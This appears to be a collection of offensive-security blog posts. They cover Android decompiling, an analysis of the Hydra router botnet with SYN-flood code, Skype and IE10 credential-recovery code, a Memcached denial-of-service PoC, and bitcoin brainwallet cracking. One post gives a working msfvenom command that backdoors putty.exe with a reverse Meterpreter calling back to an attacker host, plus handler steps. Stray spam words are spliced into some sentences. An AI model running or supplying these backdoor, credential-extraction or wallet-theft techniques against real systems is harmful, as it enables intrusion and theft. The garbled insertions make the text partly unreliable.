Android Application Reverse Engineering. Reversing Angry Birds.

Ok, so this article has been a long time coming.

One of my pastimes is reverse engineering Android applications, just to see “what makes them tick”. In this article, in order to really drive this home, I will reverse engineer the popular “Angry Birds” application.

Due to time constraints and basic laziness, I went for the first APK I could find – Angry Birds in Space.

Also, before anyone asks, in the following article I will NOT be releasing the Angry Birds source code. I simply am using it as a demo :)

First off, you will want to have the Unix “unzip” utility installed. We will be using this to unpack the .apk file.

Second, grab the following pieces of software:
dex2jar – http://code.google.com/p/dex2jar/ – for converting the .dex file into a .jar file :)
and
jd-gui – http://java.decompiler.free.fr/?q=jdgui – For decompiling the (.jar) Java file into its (.java) source code :)

Now, the idea behind this article is NOT to teach you to crack apps. Instead, this is the skillset needed to reverse engineer Android Malware – as seen in my previous post – http://insecurety.net/?p=637

So. You have your .apk file, the first thing we do is use the GNU Unzip utility to unpackage it!

$ unzip Angry_Birds_Space_Premium_1.3.0.apk

Next, use the d2j-dex2jar.sh utility from dex2jar to convert classes.dex to a JAR file.

$ ./dex2jar-0.0.9.9/d2j-dex2jar.sh classes.dex

Screenshot of the above 2 steps (I piped output to /dev/null to avoid MASSIVE SPAM OF DATA)

unzip and dex2jar

Next, we simply open the .JAR file using jd-gui.

Decompiling the JAR file

Finally we can simply export the source code from jd-gui for our viewing, and editing pleasure :)

So. In conclusion

  • Android applications are trivial to reverse engineer
  • Software for decompiling them is readily available
  • Fun times :D

Hydra IRC bot, the 25 minute overview of the kit.

Hydra IRC bot, the 25 minute overview of the kit. (25 minutes to write and “do”, not to read!)

The Hydra IRC botnet kit is a very interesting sample that we have in our collection. It is, essentially, “RX-Bot for Routers”. By this, we mean it is an extensible, well documented (in the source), open source botnet framework which is freely available for anyone to download. The problem, of course, is locating a copy.

Unlike other IRC bots targetting the “Linux” platform, for example, the “Kaiten” series of bots written in C, or the “ShellBot” series of bots written in various scripting languages, the Hydra is a more carefully developed framework, and by design is far more extensible than the others.

While the Kaiten family offer potent DDoS capabilities, they totally lack spreading tools – in order to “spread” a Kaiten effectively, you would have to root Linux servers en-masse. The Hydra, has built in worm-like capabilities, allowing it to automatically seek out and infect new victims.

The shellbots DO spread, and may even infect other platforms/architectures (being written in scripting languages means they will run on anything that has an interpreter), however their DDoS capabilities are weak, and they tend to be rather “hacky” programs.

Furthermore, while the Kaiten bots are almost limited to the x86-Linux platform (they stubbornly refuse to compile on much else), the Hydra series is designed to run on damn near anything – in particular, MIPSEL routers.

Most interesting of all, however, is the fact that the development of these elegant pieces of malware has not progressed much. Wheras the Kaiten and Shellbot are constantly being remade, the Hydra, being a far more impressive – and complex – piece of code, is pretty much ignored by your contemporary developer of Unix malware. This is unusual, as its counterpart on Windows – RXbot, was developed almost religiously.

Anyways, on we go. Lets crack open the archive and see what is inside!

Contents of the Archive:
infodox@shinigami:~/router/hydra$ ls -R
.:
ChangeLog – Changelog for this version.
include – Directory of header files.
Makefile – Makefile.
README – Readme.
source – Main source code files.

./include:
hydra_conf.h – Bot configuration header file.
hydra_irc.h – IRC header file.
hydra_mesg.h – Messages it prints to channel for various purposes.
hydra_scan.h – Variables used in vulnerability scanning/exploitation.
hydra_utils.h – Currently just a variable to assign to process ID for daemonizing.
hydra_hds.h – File containing list of header files.
hydra_main.h – Just some variables.
hydra_reqs.h – More variables, version number, etc.
hydra_synf.h – Headers/Variables for SYN Flooding.

./source:
hydra_irc.c – IRC handling code.
hydra_reqs.c – Command parsing code apparently.
hydra_synf.c – SYN Flooding/DDoS Functions.
hydra_main.c – main() function.
hydra_scan.c – Scanning functions for owning routers.
hydra_utils.c – Functions used for daemonizing, host2ip, etc. “Utilities”.

As you can see, it is a fairly well-crafted piece of software, in that the developers did not try jam everything in one source file, like the developers of Kaiten and the ShellBots do. Instead, everything is split up rather neatly. This would make future development FAR easier than hacking on one file!

So, lets take a look at what version we got, and its changelog!

– Begin Changelog –

Hydra 2008.1 stable (released 2008-02-23)

* added input line parser.
* added irc connection random ident string.
* added source address synflood spoofing.
* added daemonize manage function for quiet debug
* fixed ‘upgrade’ same file replace bug.
* fixed serveral error messages.
* removed an command ‘reclst’ for unutility.
* source code completly rewrite.

– End Changelog –

So, it would seem that this was the “first release of 2008”. And the changelog itself makes me think the developer was doing some serious work on it – rewriting the source code completely, fixing bugs, removing useless functions and commands… It makes me wonder were there previous variants that I have simply not obtained yet.

Onward we go to the Makefile, and for brevity I only include the relevant snippet here – the rest is pretty much “normal”.

– Begin Makefile Snippet –

CFLAGS=
x86_CC=/usr/bin/gcc
MIPSEL_CC=/opt/hardhat/previewkit/mips/mipsel-linux-uclibc/bin/mipsel-uclibc-gcc
x86_VERS=hydra_x86_bin_2008.1
MIPSEL_VERS=hydra_mipsel_bin_2008.1

– End Makefile Snippet –

So, we can clearly see, this version supports the MIPSEL and x86 architectures, and I do wonder who “hardhat” is… Don’t you?

The fact the author wrote a somewhat decent makefile suggests either an IDE of some kind that auto-generates them for you, or, a somewhat competent author. Having had difficulty getting ANYTHING to run on MIPSEL routers in the past, I will go with “competent”.

Lets take a look at the readme, see if we can gather more data! As @TheResGroup says, “we love data”.

First off, the author is not a native English speaker. Second, his email is proudly on display as “esaltato@autistici.org”. I checked autistici.org, it seems to be some kind of Privacy collective, similar to Riseup.net (who, by the way, are AWESOME). It also makes me think of Italy, and there is more evidence for this later on when we see the predefined C&C server.

In the readme, he describes his program in the following manner:
“Hydra is a mass-tool commanded by irc that allows scanners and exploited dlink router for make BOTNET (rx-bot style), in addition to this, with void you can attack with tcp/udp flood.”
Ok, so we know his intention – an RX Bot style bot for routers, in particular, D-Link routers. Now, unless I am terribly mistaken, the D-Link routers run DD-WRT of some kind, which is basically MIPSEL Linux. Which is why this bot works so damn well.

The interesting thing is, he does NOT give a command list in the readme! So the user could setup their botnet, then realize they have NO clue how to use it!

So, lets go find the commands, and figure out what they do!

By opening source/hydra_main.c we get the following:

– Begin Hydra Command List –

* *** Access Commands:
*
* .login <password> – login to bot’s party-line
* .logout – logout from bot’s party-line
*
* *** Misc Commands
*
* .upgrade <url> <binary_name> – upgrade binary from http url
* .version – show the current version of bot
* .status – show the status of bot
* .help – show this help message
*
* *** Scan Commands
*
* .scan <a> <b> <user> <passwd> – scanner/exploit with user:passwd
* .advscan <a> <b> – scanner/exploit with auto user:passwd
* .recursive – scanner/exploit with localip scan
* .recrd – advscan with local addr (B-range random)
* .stop – stop all actions (scan/flood)
*
* *** DDOS Commands:
*
* .synflood <host> <port> <secs> – standard synflooder
*
* *** IRC Commands:
*
* .join <channel> <password> – join bot in selected room
* .part <channel> – part bot from selected room
* .quit – kill the current process
*

– End Hydra Command List –

So. While the README tells us we have both UDP/SYN flooding, the commands only offer SYN. Which makes me assume we are missing some commands! Having poked through the source, the UDP flooding functionality is simply not there, so I assume it is not implemented in this version.

Now that we have an overview of the bots capabilities, let’s take a look at the DDoS code in it, before I wrap this post up. Please note – this post is essentially a “teaser” of a paper me and a fellow researcher are writing on this kind of malware, and trust me – that paper is gonna be badass.

– Begin TCP Packet Creation Snippet – source/hydra_synf.c –

/* form tcp packet */
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid();
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;

– End TCP Packet Creation Snippet – source/hydra_synf.c –

As we can see, it is sending a SYN packet, with a window size of 512, to a specified port. It uses its PID as the sequence number and has an offset of 5. Surely a detection could be written, but I am sure it would be littered with false positives.

Now, I am not an expert, but the following snippet makes me think maybe it is threading the function to run 50 times – I do not see any calls to fork(), but it seems to have a loop here that increments a counter (vt) every time a thread runs.

– Begin Threading Snippet –

if (vt >= 50)
{
if (time(NULL) >= start + ntime)
{
arg_send(sp->s_fd, end_synflood, irc_room);
max_pids–;

exit(0);
}

vt = true;
}

vt++;
}

– End Threading Snippet –

It would appear that this snippet runs a counter, which SYN floods with 50 threads for X time, and alerts the IRC room when it is done. Fairly standard fare for an IRC bot, however most thread numbers I see are 64/128/256 in other bots/DDoS tools. Likely they use less threads due to the limited CPU capabilities of embedded devices, or, maybe the programmer just wanted to use 50 threads…

This concludes my “brief writeup” on the Hydra, and in an upcoming paper I will be covering it in more depth – including its propagation mechanisms and other interesting things that we find, including the hardcoded C&C, configuration settings, and such.

Hope you enjoyed :)

Password Algorithms: Internet Explorer 10 (Windows Vault)

Introduction

Microsoft added a new feature to Windows 7 called ‘Vault’ which you can access through the Credential Manager in control panel or vaultcmd from command line. It works very similar to Gnome Key Ring on Linux or the Apple Keychain on Mac OS.

In versions 7, 8 and 9 of Internet Explorer, passwords were protected using DPAPI and the login URL as entropy before being saved in the registry. The new algorithm in IE10 continues to use DPAPI but the encryption of credentials is now handled by the Vault Service.

Vault System Service

Like most Windows Encryption, the protection of Vault data occurs within a LocalSystem service. vaultsvc.dll contains the service code and is loaded by the Local Security Account Subsystem (lsass.exe) at boot time.

Between 18-24 functions (depending on OS) are exposed to clients over a local RPC end point. On Windows 7 is an additional KeyRing Credential UI application (VaultSysUI.exe) launched by the service if it requires information from the owner of a vault.

For example, you have the ability to lock a vault with a password.

You can also configure a vault to require permission from the user when an application attempts to access the password element.

In both situations, VaultSysUI will display a window to the user and then write the response back to heap memory which Vault Service can access. :-)

Although both these features are useful and add further protection to a user’s credentials, they were removed in Windows 8 along with other functionality.

Vault Client Library Access

From the user session, RPC calls are made through API exported by vaultcli.dll
Explorer.exe loads Credui.dll and Vault.dll when accessing the Credential Manager through the Control Panel.

You can also use vaultcmd.exe to add/remove credentials but it doesn’t display passwords on either 7 or 8.

On Windows 8 . . .

For whatever reasons, there was a pretty significant reduction in Vault features between Windows 7 and 8. Below is a list of what was removed.

  • Creation / Deletion of vaults.
  • Loading / Unloading external vault files.
  • Locking / Unlocking vaults with additional password protection.

Protection Methods

Windows 7 has 2 methods available but Windows 8 only has 1.
DPAPI (Data Protection API) is used by default but on Windows 7, you can also use a password.

The algorithm used to protect passwords is RSA PBKDF2.

Recovery of Web Credentials

As said, there were some changes to Vault service between Windows 7 and 8.
VaultGetItem requires an additional parameter on Windows 8 and the VAULT_ITEMstructure has an extra property. Here’s the structure for Windows 7

typedef struct _VAULT_ITEM_W7 {
  GUID SchemaId;
  LPCWSTR pszCredentialFriendlyName;
  PVAULT_ITEM_ELEMENT pResourceElement;
  PVAULT_ITEM_ELEMENT pIdentityElement;
  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
  FILETIME LastModified;
  DWORD dwFlags;
  DWORD dwPropertiesCount;
  PVAULT_ITEM_ELEMENT pPropertyElements;
} VAULT_ITEM_W7, *PVAULT_ITEM_W7;

And for Windows 8 . . .

typedef struct _VAULT_ITEM_W8 {
  GUID SchemaId;
  LPCWSTR pszCredentialFriendlyName;
  PVAULT_ITEM_ELEMENT pResourceElement;
  PVAULT_ITEM_ELEMENT pIdentityElement;
  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
  PVAULT_ITEM_ELEMENT pPackageSid;
  FILETIME LastModified;
  DWORD dwFlags;
  DWORD dwPropertiesCount;
  PVAULT_ITEM_ELEMENT pPropertyElements;
} VAULT_ITEM_W8, *PVAULT_ITEM_W8;

I’ve written a tool to recover IE10 passwords using the Vault API, here’s example of output on Windows 7 machine.

Because the Windows Vault Service remains undocumented, I can’t guarantee the accuracy of information provided. The latest protection of Web Credentials for Internet Explorer is indeed weaker than previous algorithm for 7, 8 and 9 but the upside is that with the Vault you can reliably backup/restore your passwords when needed.

Memcached Remote Denial of Service PoC

A long time ago, in 2011, a rather serious vulnerability was reported in Memcached. It is now 2013, and the vulnerability still exists in the latest version on the memcached Google Code page.

The report is here: https://code.google.com/p/memcached/issues/detail?id=192

Now, as you can see, by sending a specially crafted packet, we can cause Memcached to segfault, and essentially die. Memcached is used by a lot of high profile sites to speed up page load times, and killing it would impact a bit on site performance, so I was rather curious as to why this bug had not yet been killed.

As you can see from the report, the vulnerability is trivial to exploit. Just send the magic packet of death and it kills the memcached service. I tried to get remote code execution from it, but had no luck at all. Perhaps one of you might have more luck!

memcached ded

Exploit code available to download here: killthebox.py

As always, responsible use is encouraged. Killing $(big website) memcached might get you in trouble, so don’t do it.

As for the memcached devs: You have known about this for two bloody years and never fixed it. This is terribly irresponsible of you. Fix it.

[Howto] Installing Nemesis on Ubuntu Linux

Ok. Nemesis is a very powerful Packet Crafting/Injection tool for Unix based systems. I have heard that ALLEGEDLY it can be installed/ran on Windows also, ailment but never felt like trying, as I do not use Windows nor is Windows much good for ANYTHING to do with sockets.

Nemesis is similar to tools like “hping” in that you can customize the packet you want to send, and send it. Very useful for playing with low level protocols, and incredible if you want to learn more about the network layer stuff.

For more information on Nemesis, prostate you can always check out the following links…

http://nemesis.sourceforge.net/

http://www.darknet.org.uk/2007/05/nemesis-packet-injection-suite/

http://packetlife.net/armory/nemesis/

SO. How do I get Nemesis to work on Ubuntu and such?

Well, most distributions do not have it in their repositories it seems, and just because it is easy to do, let’s compile it from source.

Step One: Install Dependancies

First off we need to install the dependancies it has, so the following two commands should do the trick.

apt-get install libdnet-dev
apt-get install libpcap-dev

No screenshot should be needed here I hope…

Step Two: Install “libnet” to the /usr directory.

Now for convenience, I do my installation in the /usr directory. Don’t ask why, it just seemed right at the time.

The following commands should do this easily for you…

The first three are “preparing the build area”

cd /usr
mkdir nembuild
cd nembuild

The next three are “getting the sources and unpacking them”
wget http://ips-builder.googlecode.com/files/libnet-1.0.2a.tar.gz
tar -xf libnet-1.0.2a.tar.gz
cd Libnet-1.0.2a

The next commands “configure” and make + make install the Libnet libraries.
./configure
make && make install

So. Now that we have successfully installed Libnet (if you get some wierd errors, leave a comment and I can try help you) we can go on and install Nemesis!

Step Three: Installing Nemesis

So. This is the fun part – where we get to finally install Nemesis.

Assuming you are still in the directory “/usr/nembuild/Libnet-1.0.2a”, just “cd ..”.

Otherwise, “cd /usr/nembuild” so we are all on the same page!

So. Lets prepare our “Environment” for the Nemesis installation by getting and unpacking the sources! The following commands should do it…

wget http://heanet.dl.sourceorge.net/project/nemesis/nemesis/1.4/nemesis-1.4.tar.gz
tar -xf nemesis-1.4.tar.gz
cd nemesis-1.4

So, thats everything prepared. Now for the tricky bit – making it build properly.

Note that I used very specific paths for this – this is because we HAVE to specify THESE libnet libraries!

Now for the next commands…

./configure —with-libnet-includes=/usr/nembuild/Libnet-1.0.2a/include —with-libnet-libraries=/usr/nembuild/Libnet-1.0.2a/lib
make && make install

Done!

There we go! Now for usage and such, “man nemesis” is a good place to start – they don’t make those man pages for nothing you know!

Finally, to wrap up, a screenshot of Nemesis!

Password Algorithms: Skype (Windows)

Introduction

There’s a fantastic article by Fabrice Desclaux and Kostya Kortchinsky which describes the encryption and structures used but doesn’t provide any code.

The article indicates it isn’t possible to decrypt the password which probably explains the lack of code by other people.

Taken from the article…

If told to, Skype will save in the config.xml file

  • The login MD5 hash (username\nskyper\password)
  • The generated RSA private key
  • The Skype encrypted corresponding RSA public key

Everything is heavily encrypted, but in a symmetric way :)
The following algorithms are used

  • CryptProtectData(), CryptUnprotectData()
  • SHA-1
  • AES-256
  • “FastTrack Cipher”
  • 1024+ bit RSA

Only an MD5 hash of password is stored in the user’s profile and it’s encrypted with AES-256
Once hash is decrypted, the only recovery methods available are dictionary attack or variation of brute force.

The information here applies to version 5.10.0.116 but should also work without hitch on some older versions (4.2 was also tested)

Storage

There are 2 things required in order to dump the MD5 hash.

  1. DPAPI blob :
    HKEY_CURRENT_USER\Software\Skype\ProtectedStorage
  2. Credentials ciphertext :
    %APPDATA%\Skype\<login id>\config.xml

The DPAPI blob is just stored as binary and can be passed straight to CryptUnprotectData()

C:\>reg query HKCU\Software\Skype\ProtectedStorage

HKEY_CURRENT_USER\Software\Skype\ProtectedStorage
    0    REG_BINARY    01000000D08C9DDF0115D1118C7A00C04FC297EB01000

The Credentials are hexadecimal string stored in XML file

<?xml version="1.0"?>
<config version="1.0" serial="66" timestamp="1344481520.27">
  <Lib>
    <Account>
      <Credentials3>322EBDF6D922E91F7EB68

As a result of the XML file I ended up using the following libraries from here:

  • libxml2-2.7.8.win32.zip
  • iconv-1.9.2.win32.zip
  • openssl-0.9.8a.win32.zip
  • zlib-1.2.5.win32.zip

Generation

The following demonstrates creation of the MD5 hash using OpenSSL

void GenHash(const char *id, const char *pwd) {
    MD5_CTX ctx;
    const char *skype = "\nskyper\n";
    u_int8_t dgst[32];
    
    MD5_Init(&ctx);
    MD5_Update(&ctx, id, strlen(id));
    MD5_Update(&ctx, skype, strlen(skype));
    MD5_Update(&ctx, pwd, strlen(pwd));
    MD5_Final(dgst, &ctx);

    printf("\n  Login ID = %s"
           "\n  Password = %s"
           "\n  MD5 hash = ", id, pwd);
    
    for (int i = 0;i < 16;i++) {
      printf("%02x", dgst[i]);
    }
    printf("\n");
}
.....
C:\>skype_dump username password
  ...
  Login ID = username
  Password = password
  MD5 hash = 27f6a9d892475e6ce0391de8d2d893f7

Recovery

To extract the Credentials ciphertext, you could read the contents of config.xml and scan for <Credentials3> and </Credentials3>
Here, I’m using LibXML :P

bool GetCredentials(BYTE ciphertext[], std::string config_xml) {    
    bool bFound = false;
    
    // try open config.xml
    xmlTextReaderPtr reader;
    reader = xmlReaderForFile(config_xml.c_str(), NULL, 0);
    
    // tested with Credentials2 or Credentials3
    const xmlChar *credentials; 
    credentials = (const xmlChar*)"Credentials";

    if (reader != NULL) {
    
      // while nodes are available
      while (xmlTextReaderRead(reader) == 1) {
        // get name
        const xmlChar *name;
        name = xmlTextReaderConstName(reader);
        if (name == NULL) continue;

        // equal to credentials we're searching for?
        if (xmlStrncmp(credentials, name, xmlStrlen(credentials)) == 0) {

          // read the next value
          if (xmlTextReaderRead(reader) == 1) {
            const xmlChar *value;
            value = xmlTextReaderConstValue(reader);
            
            for (int i = 0;i < 16;i++) {
              sscanf((const char*)&value[i * 2], "%02x", &ciphertext[i]);
            }
            bFound = true;
            break;
          }
        }
      }
      xmlFreeTextReader(reader);
    }
    xmlCleanupParser();
    return bFound;
}

Obtain the salt which is passed to SHA-1 before being used to create AES key.

PBYTE GetSalt(DWORD &cbSalt) {
    BYTE aBlob[2048];
    DWORD cbSize = sizeof(aBlob);
    const char skype_path[] = "Software\\Skype\\ProtectedStorage";
    
    LSTATUS lStatus = SHGetValue(HKEY_CURRENT_USER, skype_path, 
        "0", 0, aBlob, &cbSize);
      
    if (lStatus != ERROR_SUCCESS) {
      printf("  Unable to open skype key : %08x", lStatus);
      return NULL;
    }

    DATA_BLOB in, out;
    
    in.pbData = aBlob;
    in.cbData = cbSize;
    
    if (CryptUnprotectData(&in, NULL, NULL, NULL, 
        NULL, 0, &out)) {
      cbSalt = out.cbData;
      return out.pbData;
    } else {
      printf("  Unable to decrypt skype entry.");
    }
    return NULL;
}

Then with both the ciphertext and salt, we can decrypt MD5 hash…

void DecryptHash(PBYTE pbCipherText, PBYTE pbSalt, DWORD cbSalt) {
    
    SHA_CTX ctx;
    AES_KEY key;
    
    u_int8_t dgst[40], buffer[AES_BLOCK_SIZE];
    
    memset(&buffer, 0, sizeof(buffer));
    
    // use counter mode + SHA-1 to generate key
    for (ULONG i = 0;i < 2;i++) {
      ULONG ulIndex = _byteswap_ulong(i);
        
      SHA1_Init(&ctx);
      SHA1_Update(&ctx, &ulIndex, sizeof(ulIndex));
      SHA1_Update(&ctx, pbSalt, cbSalt);
      SHA1_Final(&dgst[i*20], &ctx);
    }
    
    AES_set_encrypt_key(dgst, 256, &key);
    AES_encrypt(buffer, buffer, &key);
    
    printf("\n  MD5 hash = ");
    
    // decrypt MD5 hash with XOR
    for (int i = 0;i < 16;i++) {
      printf("%02x", pbCipherText[i] ^ buffer[i]);
    }
    printf("\n");
}

Conclusion

If you want to know more about the internals of Skype, I’d strongly recommend the “Vanilla Skype” papers 1 and 2

It’s safe to say MD5 isn’t a good choice of algorithms for protecting passwords.
Maybe as more recovery tools become available, Microsoft will revise the code to use something stronger.
source code

Injecting arbritary Metasploit payloads into Windows executables.

This is a very simple writeup, site demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.

By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.

For now I will demonstrate using Metasploit payloads, cialis however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.

We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.

So we wget the Putty binary…

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Downloading the Putty binary to backdoor

Next, we inject an encoded payload into this binary. Why do we encode it? Because we can.

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 -k -x /var/www/lulz/putty.exe LHOST=192.168.1.41 LPORT=443 >evilputty.exe

Injecting the payload with msfvenom

We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.

Now for the special secret ninja sauce.

The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.

The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.

So, lets test it!

First off we start msfconsole, and give it the following commands.

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 192.168.1.41 (our local host, change this if needed)
exploit

Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.

Backdoored Putty.exe running on victim host

Owned! Meterpreter executing on victim

 

Bitcoin “Brainwallets” and why they are a bad idea

// Decided to publish this after some misgivings about disclosure. After telling Asher about it earlier, it was decided to disclose it to make people aware of the issue.

A week or two ago, I stumbled across an article about how these “Brainwallet” things were making your bitcoins “Deniable”, as no “wallet” exists except in your head.

How they work is quite simple: you take a passphrase, and that is to be the super secret key for your “wallet”. So long as you remember that passphrase, you can access the wallet.

This passphrase is hashed with SHA256 to form the private key for your wallet, so you can generate your privkey at will. The privkey is turned into a bitcoin address using the standard algorithm.

Now, so long as you know the private key, you own that wallet. So if you know the passphrase, you know the private key. This is essentially basing the private key on insecure (user supplied as opposed to random) data, normally a word or string of words (everyone sucks at passphrases).

Now, how do we go about attacking this. Well, think of it as the same as cracking peoples passwords.

You take a dictionary of likely looking passphrases, and hash ‘em with SHA-256 to make a bunch of private keys. You then convert them to wallet-import format using the Base58 encoding that Bitcoin uses, and pass the WIF string to bitcoind to import the wallet. If anyone was using that private key/passphrase, all their bitcoin now belongs to you.

Being a lovely person, I wrote up a proof of concept based on brainwallet.py (a brainwallet generator) that automatically does all this. My code is terrible, but it proves the point I was trying to make. A better written piece of code could import thousands of keys incredibly quickly, exhausting entire blocks of passphrase-keyspace.

Proof of Concept

The brainwallet.py implementation I hacked into the above can be gotten here: Brainwallet.py

The terrifying thing about this is, you are not only stealing “current” bitcoins, but also future ones. If anyone ever uses any of the passphrases you have “pwned”, you own their bitcoins.

So, tell your friends: Brainwallets are dumb.

-infodox

p.s.: we now accept bitcoin if you ever feel like buying us a beer. 1MJ6KnLdXm82UjdDuvgjxDhngLjBMJfamV

NOTE: We do not encourage or approve of stealing peoples money. It is a bad idea.